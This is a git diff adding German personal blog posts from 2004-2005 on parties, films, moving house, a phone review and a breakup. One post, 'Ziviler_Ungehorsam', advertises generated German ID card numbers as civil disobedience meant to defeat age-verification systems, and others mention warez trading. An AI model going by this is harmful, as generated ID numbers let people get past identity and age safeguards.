leicht, ob man [zu den Ungluecklichen](http://www.gewerbeflaechenatlas.berlin.de/tkatlas_berlin/dslerlaeuterung.cfm) gehoert. Ich hoffe weiter. diff --git a/blog/2004/Wochenblog.md b/blog/2004/Wochenblog.md new file mode 100644 index 0000000..dc50985 --- /dev/null +++ b/blog/2004/Wochenblog.md @@ -0,0 +1,16 @@ + + +Letztes Wochenende war toll. Eigentlich war ich mit [jemand anderem](http://www.midwinter.com/b5/Pictures/Characters/natoth.gif) zum Betrinken verabredet, aber sobald [Frauen im Spiel](http://www.funfocus.net/bilder/tiere/hund3.jpg) sind, schein ich abgemeldet. War dann auch nicht schlimm, Karstens Mitbewohner hat Geburtstag gefeiert. Und wie sich das in der Jugendkohorte gehoert, gab es viel zu trinken, einige haben was geraucht und wir alle sind dann einen [Lampionumzug](http://www.liebestattdrogen.de/autoren/spider/kamille.htm) die [die Simon-Dach-Strasse](http://www.groeltourismus.de/mallorca_sonstige/images/ballermann3.jpg) herunter zu veranstalten. Ich war dabei sehr [unvernuenftig](http://www.dianetics.org/de_DE/articles/world-events/contagion.html) und habe mit [ viel zu wenig an](http://www.michis-seiten.de/seite114.html) in dem leichten Nieselregen einen [leichten Husten](http://www.doktor.ch/ratgeber/pneumonie-diagnose.htm) eingefangen(, der auch der Grund fuer die geringe Schreibaktivitaet in dieser Woche war). Das "nach der Party noch Rollerfahrn" tat dann sein Uebriges. + +[Die Zeitung](https://ds.ccc.de/) ist fertig geworden. Ich wette fast, dass das [Toms](http://tomster.org/) Sozialleben wieder entspannter macht. Zumindest werde ich jetzt im Messanger immer freundlich weggedrueckt, wegen Familiendingen. Verdient hat er's ja! + +Ich habe meine ersten [Tauschboersenerfahrungen](http://www.esel.org/) gesammelt. Mal so schauen, wie das die [Jugend](http://www.bstu.de/bildungsprojekte/thillm/seiten/Kapitel_4/14_jugendliche_fokus.htm) heutzutage macht, habe ich mir gedacht. Aber ["Herr Lehmann.mpg"](http://herr-lehmann.de/) war in Wirklichkeit amerikanischer Silikonbusenporn und ["Loriot - Pappa ante Portas.avi"](http://imdb.com/title/tt0102629/) kam ohne Ton daher. Also doch lieber weiter [brav](http://forum.leo.org/archiv/2003_02/09/20030209151316t_en.html) ins Kino gehen. + +Eine gute Freundin hat diese Woche Andrea und mich noch in die Verzweiflung getrieben. Ihr Freund hatte sie waehrend eines Halbjahresaufenthalts in $Ausland abserviert. Telefonisch. Mit "Bruder vorbeischicken und Sachen abholen". Fiese Tour. - Nach seiner unerwarteten Rueckkehr wollte er sich mit nun ihr treffen. Und was tut sie? Wirft sich ihm schnurstraks in die Arme, schliesst sich mit dem Typen 3 Tage ein und laesst all ihre Freunde solange sitzen. (An dieser Stelle habe ich lange an einem sarkastischen Kommentar dazu herumueberlegt, ziehe es aber vor, meiner Sprachlosigkeit durch Sprachlosigkeit Ausdruck zu verleihen) + +Und zu guter Letzt habe ich heute noch ein wenig ueber Hacker und Magie herumueberlegt. In einem Definitionsversuch habe ich mal gelesen, dass Magie alles das ist, was die Komplexitaet, die man zu erfassen faehig ist, uebersteigt. Streift dann auch in die Religion mit rein. Also fruehe Wettergoetter, weil man das mit den Tiefdruckgebieten nicht verstanden hat. Dann musste der Gott sukzessive immer komplexer werden, weil die Probleme, die man nicht verstand, immer weniger und dafuer immer komplexer wurden. Heutzutage fangen wir an, selber Systeme zu schaffen, deren Komplexitaet ueber das von einem Einzelnen zu Erfassende hinausgehen. Ein wenig Magie holen wir uns damit wieder in unseren Alltag. - Nur der Hacker, (aus der Definition des immer nach dem "wie" fragenden Geists) strebt auf seine rationelle Art die Beseitigung des Magischen an. Elemente der Aufklaerung und des Nihilismus verbinden sich. Aber auch, wenn man es nicht wahr haben will, ist die Komplexitaet sozialer Netzwerke noch eine der letzten Bastionen, in die sich die Magie verkriechen kann. Und hier findet sich dann bestimmt auch die Erklaerung, warum es die Geeks alle in Community Tools wie [Friendster](http://friendster.com) und [Orkut](http://orkut.com/) (und wie sie alle heissen) treibt: das eigene Sozialgeflecht wird quantisierbar, vergleichbar, seiner Magie beraubt. Ein wenig schade schon. Denn dort, wie die Magie wohnt, ist auch die Romantik zu haus. Und was uns die durchmathematisierte Gesellschaft bringt, hat [Jewgenij Samjatin](http://www.utopie1.de/samjatin/) schon vor 90 Jahren prophezeit. Man muss akzeptieren, dass es da immer Dinge gibt, die man nicht verstehen koennen will. Womit wir wieder bei der jungen Dame aus dem letzten Abatz waeren. + +Eins noch. [Dieses Flashadventure](http://www.datacraft.co.jp/takagism/index_e.html) hab ich beim naechtlichen clicken gefunden. Ich hab 23 Minuten gebraucht. Habt Spass. diff --git a/blog/2004/Ziviler_Ungehorsam.md b/blog/2004/Ziviler_Ungehorsam.md new file mode 100644 index 0000000..9bac487 --- /dev/null +++ b/blog/2004/Ziviler_Ungehorsam.md @@ -0,0 +1,10 @@ + + +[Vor ner Weile](https://www.ccc.de/updates/2002/personalID) gab es mit einem Altersverifikationssystem mal Probleme. Eine Firma hat allen, die den [Algorithmus zur Pruefsummenberechnung von deutschen Personalausweisen](http://erdgeist.org/arts/software/content-perso.html) veroeffentlichten, Briefe geschickt, in denen mit rechtlichen Schritten gedroht wurde. + +Inzwischen sind diese AVS technisch fortgeschritten und vergleichen nun die [Behoerdenkennziffer](http://www.pruefziffernberechnung.de/Begleitdokumente/BKZ.shtml) aus der Personalausweis-ID mit der Postleitzahl des ausstellenden Amts, die sie lokal fuer die BKZ gespeichert haben. Diese Liste haben sie wahrscheinlich sukzessive durch sich Anmeldende AVS-Benutzer aufgebaut. + +Und da ich das, was die koennen, schon lange kann, verschenke ich mal wieder [Personalausweisnummern, generiert](https://erdgeist.org/perso) und hoffe auf reichliche Beteiligung an der dezentralen Akquise. Das BKZ <-> PLZ spende ich natuerlich sofort der grossartigen Pruefziffernberechnungsseite. diff --git a/blog/2005/Ablenkung.md b/blog/2005/Ablenkung.md new file mode 100644 index 0000000..bf2dc15 --- /dev/null +++ b/blog/2005/Ablenkung.md @@ -0,0 +1,14 @@ + + +Zeit fuer sich und zum Nachdenken zu haben, bringt fuer mich zur Zeit eher Aerger und Truebsal mit sich. Um dem zu entgehen, muessen um mich herum einfach gerade +viele Dinge passieren. Arbeit ist herausfordernd und spannend, die Band floriert, ich seh Leute, die ich schon eine echte Weile nicht mehr gesehn hab, tue +Dinge, die ich mir schon immer mal vorgenommen habe, morgen gehts zum Beispiel zu Opa, Keller ausraeumen, heute war ich noch im Club +[![](http://erdgeist.org/stats/blog/pics/CCCB.jpg)](https://erdgeist.org/stats/blog/pics/CCCB.jpg) Mariokarten, wieder Arbeiten, dann mal wieder +SPIEGEL-lesend mit der S-Bahn durch die Stadt, und danach wild [![](http://erdgeist.org/stats/blog/pics/Rollern.jpg)](https://erdgeist.org/stats/blog/pics/Rollern.jpg) Rollern durch die Stadt, um bei den [Phenoeliten](http://www.phenoelit.de/) auf der [ph-neutral](http://ph-neutral.darklab.org/) in der [C-Base](http://www.c-base.org/) [![](http://erdgeist.org/stats/blog/pics/phNeutral.jpg)](https://erdgeist.org/stats/blog/pics/phNeutral.jpg) Bierchen mit netten Leuten zu schluerfen. + +Eben gabs nochmal Signale und [Heimkino](http://imdb.com/title/tt0151804/). + +Trotzdem zu viel Zeit ohne Ablenkung :( diff --git a/blog/2005/Auf_gut_Glueck.md b/blog/2005/Auf_gut_Glueck.md new file mode 100644 index 0000000..f495f54 --- /dev/null +++ b/blog/2005/Auf_gut_Glueck.md @@ -0,0 +1,16 @@ + + +Heute haben sich die DreiEuroFuffzich fuer die [Sneak](http://www.yorck.de/yck/yorck_ie/yorck_kinos/filmtheateramfriedrichshain.php3) +mal wieder richtig gelohnt. Der Film [Netto](http://www.sr-online.de/statisch/MOP/2005/wettbewerbsfilme/netto.htm) +kommt unglaublich liebenswert daher, spielt in der Eberswalder plus Kiez, macht einen +Lachen und aufgrund seine Authentizitaet peinlich beruehrt Weggucken zugleich. +[Angucken!](http://www.kino-start.de/dload.php?file=153_1114068985.wmv) + +Letzte Woche gabs [Zimt und Koriander](http://imdb.com/title/tt0378897/). Auch +nett, aber mit Laengen. + +Und bevor ichs vergesse: Das Konzert in Neuruppin war geil. Mit den Anwesenden Bier +trinken, kickern und ueber Stimmlagen diskutieren in Wohnzimmerathmosphaere. Mehr davon! diff --git a/blog/2005/Befreit.md b/blog/2005/Befreit.md new file mode 100644 index 0000000..f2fb4e6 --- /dev/null +++ b/blog/2005/Befreit.md @@ -0,0 +1,6 @@ + + +Ich bin ja normalerweise nicht so der ein-URL-Poster, aber das hier finde ich spannend: Laut [dieser Karte von 1945](http://rkkaww2.armchairgeneral.com/maps/1945W/Berlin/153GdsRflReg_Berlin_Apr25_May_01_%20VIZ_1982_05.jpg) wurde mein neuer Wohnort am 25. April 1945 von der von Osten anrueckenden Roten Armee befreit. [Mehr Karten von Berlin](http://rkkaww2.armchairgeneral.com/maps/maps1945W.htm#Berlin), auch Kaempfe um den Reichstag gibt es auch. Danke, Sascha. diff --git a/blog/2005/Beobachtungen.md b/blog/2005/Beobachtungen.md new file mode 100644 index 0000000..4910511 --- /dev/null +++ b/blog/2005/Beobachtungen.md @@ -0,0 +1,19 @@ + + +Ich hab mir, wie bereits berichtet, den neuen Communicator er-ebay-t. Vorab, bei aller Kritik, die man als Nerd natuerlich auch immer am fast Perfekten hat: ein +cooles Geraet! Endlich GPRS und Bluetooth, ein Prozessor mit zeitgemaessem Takt - habe ich ja alles [schon mal geschrieben](https://erdgeist.org/stats/blog/#2004_02_23_23_38_Von_wegen_nichts_erlebt). Was ich nicht gedacht haette, dass ich ernstlich +Gefallen an der Kamera finden wuerde. Nicht, dass ich mich jetzt zu MMS-Spielchen hinreissen lassen wuerde, wo es doch Bluetooth gibt, aber so als "nette +Location, mal fuer ein Shooting festhalten"-Moeglichkeit, die man immer mit sich rumtraegt, ist es schon nuetzlich. Ausserdem entsteht daraus ja auch gerade eine +[Kunstform](https://outpost.h3q.com/blog/2005-05-26-01.blog). Ich hab da mal [![](http://erdgeist.org/stats/blog/pics/Kapelle.jpg)](https://erdgeist.org/stats/blog/pics/Kapelle.jpg) noch [![](http://erdgeist.org/stats/blog/pics/Studium.jpg)](https://erdgeist.org/stats/blog/pics/Studium.jpg) zwei Bilder fuer die Galerie. + +Einige Wermutstropfen hab ich beim 9500 aber doch entdecken muessen: erstens kann man keine WLan-Netzwerknamen explizit angeben und kann deswegen nicht in hidden +networks assoziieren, Helden! Zudem hoert man beim mitgelieferten Headset nicht, wenn das Telefon klingelt. Und das, wo ich mich gefreut hatte, endlich auch auf +dem Moped erreichbar zu sein. Wo es doch keinen Vibrationsalarm gibt... Menno! Aber eigentlich ueberwiegen die geilen Features. Dank Bluetooth kann ich jetzt +(mit ein wenig Hilfe von [denen hier](http://apfelwiki.de/wiki/Main/Nokia9500Communicator)) auch mit dem Notebook einfach so™ syncen, SMSen +schicken, bekomme Anrufe gross aufs Display... - mein erstes Bluetoothgeraet halt. Das Display ist stateoftheart, geht in der Sonne und sieht im Dunkeln +gestochen scharf aus, der Lautsprecher ist [pumpanickle-songs-tauglich](http://pumpanickle.de/), d.h. er hat sogar ein paar Baesse und die 1GB +Speicherkarte laedt zum mp3-Sammlung mitnehmen ein. Ich werde noch ein wenig in meiner Kohorte mit dem Geraet posen, vielleicht habe ich dann ja bald genug Leute +zum Communicator-WareZ traden. ;) diff --git a/blog/2005/Ch-Ch-Ch-Ch-Changes.md b/blog/2005/Ch-Ch-Ch-Ch-Changes.md new file mode 100644 index 0000000..7b9f8b5 --- /dev/null +++ b/blog/2005/Ch-Ch-Ch-Ch-Changes.md @@ -0,0 +1,31 @@ + + +Manno, werd' ich alt. Nachdem die Einweihungsparty bei Bert nicht so recht in Schwung kommen wollte, hab' ich mir den Cryx geschnappt, um noch einen +lustigen Junggesellenabend zu verleben. Dazu sind wir erst zum Osthafen gerollert. Dort war eine Party mit elektronischer Musik im Gange. Ich fuehlte +mich ein wenig underdressed, dem Cryx war die Musik zu langweilig. Das anschliessende Couchen zu einem [Schwarzweissfilm](http://outpost.h3q.com/blog/2005-05-07-01.blog) bei mir fuehrte dazu, dass ich +meinem Besuch umgehend ins Schnarchland entfloh. Tolle Wurst. Zu meiner Rechtfertigung kann ich einzig anbringen, dass mich das fruehe Aufstehen zur +Uni nun genau jeden Tag um halb neun von allein aufwachen laesst und ich bei Baerbel vorher extrem lecker und viel von Spargel mit Putenschnitzel und +selbstgemachter Sauce Hollandaise vertilgt habe, was schonmal zu einer Grundtraegheit fuehren musste. + +Zumindest war ich heute wieder rechtzeitig wach, um dem Dirk beim Umziehen mit seiner frisch Angetrauten zu helfen. Der allgemeine Trend zeigt ja an, +dass das Wedding-Experiment gescheitert ist: Tina hat's nach Bonn verschlagen, Starbug ist zurueck in den Osten, nach Pankow und eben Dirk in den +Friedrichshain. Der Umzug selber war nix besonderes, so alte-Leute-Umzug mit 3,5t-Robbe und nem Fahrstuhl, schnell erledigt. Nur das spaetere +Zusammensitzen bei Suppe und Kuchen hat mich dann geschafft. Lauter glueckliche Paerchen mit oder in Erwartung von Kindern und dieser eine Spruch, den +man sich auf der Zunge zergehen lassen muss: "Das ist halt so, irgendwann fordert die Natur ihr recht, sie hat da so ihre Tricks, da ist dann nichts +mehr mit Nachdenken, das kann man nicht rationell erklaeren, da ist dann dieser Drang da, dem kann man sich nicht widersetzen, da braucht man auch +einfach jemanden, man muss ja da irgendwo hin, mit all seiner Liebe." Jungs: Don't even think about using THIS as an excuse!!! + +Genau wie der Bert hat der Dirk sich aber eine offen dekadente Huette zugelegt. Vorbei die prallen Punk-, bzw Nerdtage! Da gibz Erkerzimmer, zwei +Balkone, Fahrstuhl mit Schluessel. Letzteres ist mir eine komplett uneinsichtige Entwicklung. Will der Vermieter damit verhindern, dass Penner im +Fahrstuhl naechtigen? Oder dass Einbrecher die Beute nicht bequem per Lift runterschaffen? Als erstes ist mir natuerlich aufgefallen, dass ganz +legitime Gaeste irgendwann entnervt aufgeben und Treppen steigen werden, was vielleicht fuer aeltere Menschen keine Freude ist. Irgendjemand ne +Idee? + +Wie schon erwaehnt, ist der Dirk ja nun frisch vermaehlt und meine Combo hatte die Ehre, auf der Feier aufzuspielen. Ich konnte dabei mit meinen eigens +von Baerbel aus Thailand eingeflogenen knallroten Chucks glaenzen und hatte Mordsspass. (Bei der Gelegenheit haben wir gleich noch eine Openstage in +der c-base beschlagnahmt und werden da irgendwann mal rocken,. Das Musikvideo, von dem ich schon berichtete, ist zwar noch nicht ganz offiziell fertig, +sieht aber schon cool aus.) Am Morgen drauf war ich mit Opa zum Mittag verabredet und hatte die unglaubliche Freude, von einem Ouzu beim Griechen +begruesst zu werden. Hilft aber gegen Kater. (Links gibts wieder, wenn ich besser drauf bin.) diff --git a/blog/2005/Darunter_drei_Deutsche.md b/blog/2005/Darunter_drei_Deutsche.md new file mode 100644 index 0000000..b1c2bc2 --- /dev/null +++ b/blog/2005/Darunter_drei_Deutsche.md @@ -0,0 +1,6 @@ + + +Die Meldungen. Bangkok - Ein Tsunami hat halb Suedostasien ueberschwemmt. 150000 Menschen starben, darunter drei Deutsche. diff --git a/blog/2005/Deppen.md b/blog/2005/Deppen.md new file mode 100644 index 0000000..6322a48 --- /dev/null +++ b/blog/2005/Deppen.md @@ -0,0 +1,10 @@ + + +Ich bin ja ein heimlicher Fan von [Zwiebelfisch](http://www.spiegel.de/kultur/zwiebelfisch/). Auch wenn ich mich mit meinem Drummer elendig lange streiten kann, in wie weit der pflegliche Umgang mit seiner Muttersprache deren natuerlicher Weiterentwicklung entgegensteht, auch wenn ich mich verteidigen muss, wie kleinkariert ich doch sei, wenn mir wegen dem Genitiv spontan Pickelchen auf der Iris spriessen. Ungeachtet der Tatsache, dass ich zuweilen Leuten auf die Nerven gehe, die Superlative am maximalsten geil finden. Nein! Ich stehe dazu, dass ich eine sprachkonservative Quaengelbacke bin. Die neue Rechtschreibung ist mir ein Graus und Rechtschreibe- und Grammatikfehler in gedruckter Form, zum Beispiel auf Werbeplakaten oder an Buden, tun mir ehrlich weh, weil sie als Multiplikatoren flegelhaften Umgangs mit der Sprache Wiedererkennungseffekte ausloesen. + +Ich erwische mich natuerlich auch selber dabei, Fluechtigkeitsfehler in meinen Texten zu haben, peinlich in soweit, als dass dies darauf hinweist, dass man sich nicht die Zeit genommen hat, sein Geschriebenes noch einmal querzulesen. Systematische Fehler kommen mir aber nicht ins Haus: [Deppenapostrophen](http://www.apostroph.de/motivation.php) (sehr schoenes Essay, das weitgehend auch meine Gefuehlslage widerspiegelt) fliessen mir genausowenig aus den Fingern, wie [Leerzeicheninkontinenz](http://www.agopunktion.de/). + +Der Grund, dass ich nun gerade heute wieder darauf komme, ist [![](http://erdgeist.org/stats/blog/pics/Lofts.jpg)](http://erdgeist.org/stats/blog/pics/Lofts.jpg) jenes Bild hier. Oft bringe ich naemlich vor, dass Trenn- und Apostrophenfehler den Wortsinn entstellen und zu Missverstaendnissen fuehren koennen. Konkrete Faelle sind dann im Eifer des Gefechts schwer hervorzubringen. An dieser Stelle (wer\'s nicht entziffern kann, da steht an einem Plakat an der Hauswand "Loft\'s hier") aber bleibt einem als korrekte Antwort nur "Ick wees nich, ob\'s hier loft". diff --git a/blog/2005/Feiervolk.md b/blog/2005/Feiervolk.md new file mode 100644 index 0000000..ea50dd8 --- /dev/null +++ b/blog/2005/Feiervolk.md @@ -0,0 +1,38 @@ + + +Gestern gab es statt Probe Musik anhoeren. Die Band von Susi hat das erste Mal live gespielt. Klassische Besetzung plus Geige und Bratsche. Interessante +musikalische Basis (allesamt Musikstudenten), leider nur 3 eigene Songs zum Eindruck gewinnen. + +Danach mit Ern und Freunden auf ein Volksfest. [Bergmannstrassenfest](http://www.bergmannstrassenfest-kreuzbergjazzt.de/). Auf Strassenfesten habe +ich ja selber als Promotionhampel fuer das Berliner Abendblatt meine erste Miete verdient und stand da auch jedes Wochenende auf einem der sehr individuellen +Feste herum. + +Anfangs wurden diese von engagierten Kiezbewohnern organisiert, die ein wenig das Kennenlernen in ihrer Strasse vorantreiben wollten. Ich kann mich noch gut +erinnern, wie 1995 auf dem Muellerstrassenfest der Besitzer der Brautmoden selber einen Bratwurststand betrieben und am Ende eigentlich alle Wuerste verschenkt +hat. + +Mit Volksfesten, eine Binsenweisheit, laesst sich aber Geld verdienen. Viel Geld. Man holt sich eine Strassensondernutzungserlaubnis beim Ordnungsamt, karrt +eins, zwei Buehnen heran und vermietet die Strasse in Parzellen an fliegende Mampf-, Ramsch-, Blumen- und Ethnolaeden, laesst ein paar schlechter positionierte +Buden fuer Amnesty International, Kinderschminken und die Lokalgazetten frei (damit die im Gegenzug laenglich dafuer werben) und fertig ist der Lack. Danach +wird das Volk durch die den Konsumtunnel gepfercht, darf sein Geld links und rechts der Strasse lassen und sich freuen, was sein Kiez nicht alles auf die Beine +stellt. + +Mit diesem Konzept verdienen in Berlin unter anderem die Firmen [Nareyka](http://www.nareyka.de/) und [Laubinger](http://www.laubinger.de) ihr Geld. An den 25 strassenfesttauglichen Wochenenden finden laut [Bericht](http://www.berlin.de/senwiarbfrau/markt/feste.html) des Senats fuer Wirtschaft, Arbeit und Frauen in diesem Jahr 12 Feste von Nareyka und 10 +von Laubinger statt. (Dazu kommen Weihnachtsmaerkte und Grossveranstaltungen wie die Loveparade.) Tendenz steigend. + +Dankenswerterweise gibt es aber noch Organisatoren, die den Brand ihres Fests nicht so einfach abgeben, sondern weiter selbst organisieren, so dass die +ueblichen Verdaechtigen Mampf-, Ramsch-, Blumen- und Ethnolaeden nicht immer mit den selben Verhandlungspartnern an den Tisch muessen, sondern ihre Bude bei +den Kiezlern bezahlen. Das Kuchenbasar und Papa-grillt-selber Feeling kommt trotzdem nicht mehr. _Das_ durfte ich naemlich genau bei dem Sommerhoffest +dort erleben, wo Susis Band ihren Probenraum hat: das ganze Haus kramt all sein Zeug hervor, stellt selber ein Buehne auf. Resultat: Grillen und Kuchen, zwei +Bierfaesser und mehrere nette Plaeusche. Mehr davon! + +Gut. Ganz in Nostalgie zu versinken, macht natuerlich keinen Sinn, frueher sind die fahrenden Jahrmaerkte einmal im Jahr mit ihren Attraktionen und Mampf-, +Ramsch- und Fahrgeschaeften in die Stadt gekommen und haben den Staedtern und Doerflern die Kohle aus der Tasche gezogen. Aber es tut schon immer wieder ein +wenig in der Seele weh, wenn private Aktionen kommerzialisiert werden. + +Eins habe ich aber beim in der Bergmannstrasse noch mitgenommen: [Zuckerwatte](http://www.henrikschrat.de/2002/Zuckerwatte/detail.jpg). Das habe ich +schon seit 15 Jahren nicht mehr genascht und da musste ich einfach zuschlagen. Und [Zuckerwatte in der +Wikipedia](http://de.wikipedia.org/wiki/Zuckerwatte) weiss ich jetzt auch, wie das eigentlich funktioniert. diff --git a/blog/2005/Filmkritik.md b/blog/2005/Filmkritik.md new file mode 100644 index 0000000..e7fab86 --- /dev/null +++ b/blog/2005/Filmkritik.md @@ -0,0 +1,20 @@ + + +Mit Filmverrissen lehnt man sich ja meist ziemlich weit aus dem Fenster: Man sei doch eh kein Cineast und solle doch mal jeden sein Urteil selber faellen lassen, +vielleicht gefiele es ja doch wem und man muss sich seiner Meinung rechtfertigen... Die Alternative ist jedoch, dass, wenn man einen Scheissfilm gesehn hat und +nicht davor warnt, gute Kumpels vielleicht Zeit und Geld verschwenden. + +Nachdem allerdings [telepolis](http://www.heise.de/tp/r4/artikel/21/21525/1.html) ueber [diesen Film](http://www.luecke-im-system.de/) +schrieb: _"Lücke im System" könnte ein Kultfilm der Computerszene werden_, will ich doch dringend davon abraten, sich den anzutun: Der Darsteller sind +lieblos bei der Sache, wer kein franzoesisch kann, wird mit einer noch liebloseren deutschen Synchronisation genervt, der Versuch, Paranoia zu schueren, wirkt +dilettantisch und oberflaechlich, man will wegen der unsympathischen Charaktere nicht einmal die Poppen-unter-der-Dusche-Szenen angucken. Da in Spielfilmen die +Szenen, die sich um Viren und Nerd-Toys drehen, generell eher lachhaft sind, will ich das dem Film nicht weiter anlasten, nur die +Worldleader-eMail-Adressen-Liste mit georges.bush@whitehouse.gov, yarafat@p-p-o.com und johannes.rau@gov.de haben mich in die +Hand beissen machen. + +Gibt es etwas Gutes ueber den Film zu sagen (ausser, dass ich nur dreifuffzich in der Sneak fuer ausgegeben habe)? Ja: der Name "Hard and Soft" fuer einen +Nerdshop und der anzuegliche Anrufbeantwortertext dazu war ulkig. Achja: fuer "Full Access" auf der Filmwebseite muss man nach dem Clicken auf "Full Access" das +geheime Kennwort "Virus" eingeben, wenn man gefragt wird, was auf der CD war. diff --git a/blog/2005/Fotoblog.md b/blog/2005/Fotoblog.md new file mode 100644 index 0000000..9374d3a --- /dev/null +++ b/blog/2005/Fotoblog.md @@ -0,0 +1,9 @@ + + +Nachdem [der Cryx einen Imagefeed](http://outpost.h3q.com/blog/2005-05-22-01.blog) aufgemacht hat, fuehlte ich mich gleich animiert, das mit meinem +frisch bei ebay erstandenen [Communicator](http://www.nokia.com/9500) gemachte [ +![](/stats/blog/pics/GutenMorgen.jpg)](/stats/blog/pics/GutenMorgen.jpg) Foto hochzuladen. Ma kiekn. +Communicator-Testbericht kommt spaeter. diff --git a/blog/2005/Grundsatz.md b/blog/2005/Grundsatz.md new file mode 100644 index 0000000..6f464c8 --- /dev/null +++ b/blog/2005/Grundsatz.md @@ -0,0 +1,30 @@ + + +Ich entsinne mich an der Stelle mal des Grunds, weshalb ich dieses Blog ueberhaupt angefangen hab: **es ist fuer mich**. Ich wollte spaeter darauf schauen und nachvollziehen, wieso ich welche Entscheidung in meinem Leben getroffen habe. Ein Fotoalbum in meinem Kopf, und wenn es farbig genug ist, bei den Lesern Bilder hervorzurufen, die sie nicht gesehen haben, sollte es fuer mich in 40 Jahren auch noch reichen. + +Nun gut. Ich habe das Blog vernachlaessigt. Wenn ich ehrlich bin, schon seit einem halben Jahr. Ich habe ab und zu Dinge geschrieben, bei denen es sich nicht vermeiden liess, sie zu bloggen. Aber eigentlich nichts, was ich nicht spaeter auch googlen koennte. Und gerade kulminiert so ein Stapel Dinge, die mich treiben. + +Ich mag es nicht, das Gefuehl zu haben, von den Dingen einfach nur getrieben zu werden. Ich bin in eine neue WG gezogen und man kann es so sehen, dass ich etwas Neues ausprobieren wollte (stimmt), dass ich Lust hatte, mal in einer WG zu wohnen, in der man mehr als nur nebeneinander lebt (stimmt auch und kommt der Sache schon naeher). Man kann es aber auch so sehen, dass mir die zunehmend ungemaechliche Zusammenwohnsituation in meiner alten Wohnung am Ende nichts weiter uebrig liess, als das Experiment zu beenden. + +Ein guter Freund hat mich gefragt, warum ich denn als Hauptmieter nicht einfach meinen Untermieter hinausgeworfen hab. Gute Frage eigentlich. Erst war ich verstoert, dass er meine Beweggruende nicht nachvollziehen kann. Dann war ich verstoert, dass ich es auch nicht kann. Es gab wohl einfach mehr Gruende zu fliehen, als zu bleiben. + +Heute habe ich meine Wohnung uebergeben. Besser gesagt habe ich meinen Hausmeister im Zustand ueberrumpelt, in dem er zu betrunken war, noch ernsthaft Kritik am Zustand der Wohnung zu ueben, aber gerade noch nuechtern genug, um zu begreifen, was ich von ihm wollte. Beim Stromern durch die Zimmer sind Tretminen der Erinnerung losgegangen, wie sie auch in der ganzen Stadt verstreut sind. Nicht die, die einem sowieso kommen: erste eigene Wohnung, erste Zimmermannserfahrungen, Parties, erster Damenbesuch und sowas. + +Ich mag noch ein wenig um den heissen Brei herumschreiben. Vor allem will ich wenigstens versuchen, die letzten Monate zu begreifen. Ich hab einen Urlaub mit Cryx selbstgebaut und wurde doch in drei Reisen geschubst ([es gibt sogar Bilder.](/stats/blog/pics/ROM)). Ich wurde von grossartigen Bandkumpels durch die abgefahrensten Erlebnisse manoevriert. Ich bin von einem coolen Chef in eine fantastische Firma gelockt worden. Ich bin zum Chefredakteur in einer Zeitschrift avanciert, weil ich mit einem in Wuerde (fast) erwachsen gewordenen (und hier gehen mir ploetzlich die Adjektive aus) Kumpel zum richtigen Moment am Fruehstueckstisch sass. Ich bin in eine Wohlfuehl-WG gestolpert, weil durch Zufall die richtigen Leute Single geworden sind. Ich bin Chefadmin in meinem bereits beschriebenen "Gute-Freunde-Server-Projekt" geworden, weil alle anderen keine Lust hatten, sich naeher damit zu beschaeftigen und ich das in den richtigen (oder falschen) zwei Wochen mal spannend fand. + +Es ist Bloedsinn, dass es Momente sind, die das Leben veraendern. "Momente" sind Katalysatoren, sie stehen am Ende oder Anfang einer Entwicklung. Wie man mit den Ereignissen umgeht, ist, was das Leben ausmacht. Nein eher, was einen Menschen ausmacht. Und wenn ich mich einfach treiben lasse, dann **koennen** tolle Dinge passieren. Man tut aber nie die richtigen Dinge, um sie passieren zu lassen. Im Gegenteil. Da ich nie (oder zu selten) dafuer gekaempft habe, sie zu bewahren, konvergiert das Leben im Zustand groesstmoeglicher Entropie. In seinem Leben das zweite Gesetz der Thermodynamik bestaetigen zu wollen, ist nicht erfuellend. + +Ich habe, in aktiver und passiver Position, erlebt, dass Menschen jemanden brauchen, der sie bei der Hand nimmt, ihre eigenen Traeume wahrzumachen. Man funktioniert also selber, mit einer gewissen Selbstsicherheit, als Katalysator. In besagter Zeitschrift genuegte zu sagen "man macht jetzt mal" und alle Mitstreiter taten mehr als 200% dessen, was eigentlich noetig gewesen waere. + +Eines der Dinge, die mich haben nachdenken lassen, war, dass ich zum ersten Mal seit 15 Jahren meinen Schluessel zu hause hab liegen lassen. Ich bin nicht sonderlich ordentlich, verplane gerne Termine, nehme alle sich bietenden Fettnaepfchen mit... aber habe eine ausgewachsene Neurose meinen Schluessel betreffend. Wenn er sich nicht direkt an meinem Koerper befindet, heisst es, dass ich keine Hose anhabe. Gestern nun, zum denkbar unguenstigsten Termin (Wohnungsuebergabe, vorher noch malern, all das), fuehlt sich die Schluesseltasche einen Tick zu leicht an. Und alle Mitbewohner sind nicht erreichbar. Wenn es fuer mich ein Zeichen gibt, dass mein Leben gerade desynchronisiert ist, dann **das**. + +Und heute abend gab mir dann [ein Film](http://www.film.de/moviecontent.php/id/7565/) den Rest. Mich liess das Gefuehl nicht los, jemand haette mein Leben verfilmen wollen und sich nur im Ende geirrt. Dort gab es naemlich ein happy end. Und nun habe ich endlich das Sprungbrett zu schreiben, was mich wirklich mitnimmt: Der Held im Film bekommt, trotz seiner Bloedheit, die wundervolle Rothaarige zurueck. Der Schreiber dieser Zeilen nicht. + +Ich hab lange ueberlegt, wie ich es am wenigsten weinerlich klingend erzaehlen kann. Man nehme all die Zeilen diesen Eintrags und fuege sich sein Bild zusammen. Ich habe **die** Beziehung verspielt. Ja, diese eine. Die, die einen wohl noch 10 Jahre spaeter mit dem Kopf gegen die Wand schlagen laesst. Auf die selbe Art und Weise wie im Film. Einer kurzlebigen, langweiligen Oberflaechlichkeit geopfert. Auf der Jagd nach sich nie erfuellenden Versprechen, einer angeblichen Schoenheit. + +Genug Stoff, einen aus der Bahn zu schubsen, genug Grund um zu fliehen vor den Erinnerungen und dem Hass auf sich selbst, der so beisst, dass er weh tut. Vielleicht eine Erklaerung fuer die Leere der letzten Monate. Ganz sicher jedoch ein dringender Anlass zu Reflexion und dem festen Vorsatz, sich meines Lebens wieder aktiv anzunehmen und nicht mehr nur der Dinge zu harren. + +Stay tuned. diff --git a/blog/2005/Haben_wir_doch_schon.md b/blog/2005/Haben_wir_doch_schon.md new file mode 100644 index 0000000..49decc6 --- /dev/null +++ b/blog/2005/Haben_wir_doch_schon.md @@ -0,0 +1,37 @@ + + +Ich hatte heute auf dem [Projekt-P](http://www.projekt-p.de/) die Freude, einer [Diskussion ueber Filesharing](https://berlin05.ccc.de/fahrplan/event/372.en.html) beizuwohnen. Ich habe mich wirklich aufgeregt. [Frank wohl auch.](http://frank.geekheim.de/?p=62) 